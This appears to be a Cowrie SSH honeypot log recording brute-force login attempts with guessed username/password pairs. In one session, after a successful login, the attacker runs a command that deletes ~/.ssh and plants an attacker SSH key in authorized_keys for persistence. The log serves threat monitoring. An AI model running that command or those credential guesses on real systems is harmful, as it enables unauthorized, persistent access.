{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:05.739722Z","src_ip":"43.157.90.107","session":"297a0611c340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:05.829698Z","src_ip":"43.157.90.107","session":"297a0611c340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123@","message":"login attempt [root/server123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:06.225378Z","src_ip":"43.157.90.107","session":"297a0611c340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:07.318098Z","src_ip":"43.157.90.107","session":"297a0611c340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":33796,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a9b7a9165e","protocol":"ssh","message":"New connection: 186.96.151.198:33796 (159.203.135.109:22) [session: e8a9b7a9165e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:17.748285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:17.753297Z","src_ip":"186.96.151.198","session":"e8a9b7a9165e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:17.817131Z","src_ip":"186.96.151.198","session":"e8a9b7a9165e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"AaBbCc123","message":"login attempt [ubuntu/AaBbCc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:18.097392Z","src_ip":"186.96.151.198","session":"e8a9b7a9165e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:19.161243Z","src_ip":"186.96.151.198","session":"e8a9b7a9165e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":62453,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa36456476d5","protocol":"ssh","message":"New connection: 79.55.224.44:62453 (10.17.0.5:22) [session: aa36456476d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:33.042315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:33.048026Z","src_ip":"79.55.224.44","session":"aa36456476d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:33.165992Z","src_ip":"79.55.224.44","session":"aa36456476d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234567","message":"login attempt [deploy/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:33.672522Z","src_ip":"79.55.224.44","session":"aa36456476d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:34.794553Z","src_ip":"79.55.224.44","session":"aa36456476d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":53710,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0cc0b835759","protocol":"ssh","message":"New connection: 95.240.192.149:53710 (10.17.0.5:22) [session: f0cc0b835759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:42.480275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:42.486777Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:42.600279Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2021","message":"login attempt [oracle/oracle2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.078622Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.348748Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.352192Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.356186Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.471565Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.731767Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.735222Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.852084Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.855590Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":53718,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4a41daf3ba","protocol":"ssh","message":"New connection: 95.240.192.149:53718 (10.17.0.5:22) [session: fc4a41daf3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.956648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:43.961684Z","src_ip":"95.240.192.149","session":"fc4a41daf3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:44.072861Z","src_ip":"95.240.192.149","session":"fc4a41daf3ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:44.552761Z","src_ip":"95.240.192.149","session":"fc4a41daf3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:45.668558Z","src_ip":"95.240.192.149","session":"fc4a41daf3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":53720,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4d7068bfb9","protocol":"ssh","message":"New connection: 95.240.192.149:53720 (10.17.0.5:22) [session: 3c4d7068bfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:45.777780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:45.804647Z","src_ip":"95.240.192.149","session":"3c4d7068bfb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:45.917526Z","src_ip":"95.240.192.149","session":"3c4d7068bfb9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:46.397810Z","src_ip":"95.240.192.149","session":"3c4d7068bfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:46.513742Z","src_ip":"95.240.192.149","session":"f0cc0b835759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:46.517376Z","src_ip":"95.240.192.149","session":"3c4d7068bfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":33728,"dst_ip":"10.17.0.5","dst_port":22,"session":"c627bb7b62b0","protocol":"ssh","message":"New connection: 43.157.90.107:33728 (10.17.0.5:22) [session: c627bb7b62b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.414168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.418970Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.512422Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":60738,"dst_ip":"159.203.135.109","dst_port":22,"session":"607f08d57b67","protocol":"ssh","message":"New connection: 13.67.236.135:60738 (159.203.135.109:22) [session: 607f08d57b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.635735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.640795Z","src_ip":"13.67.236.135","session":"607f08d57b67","protocol":"ssh"}
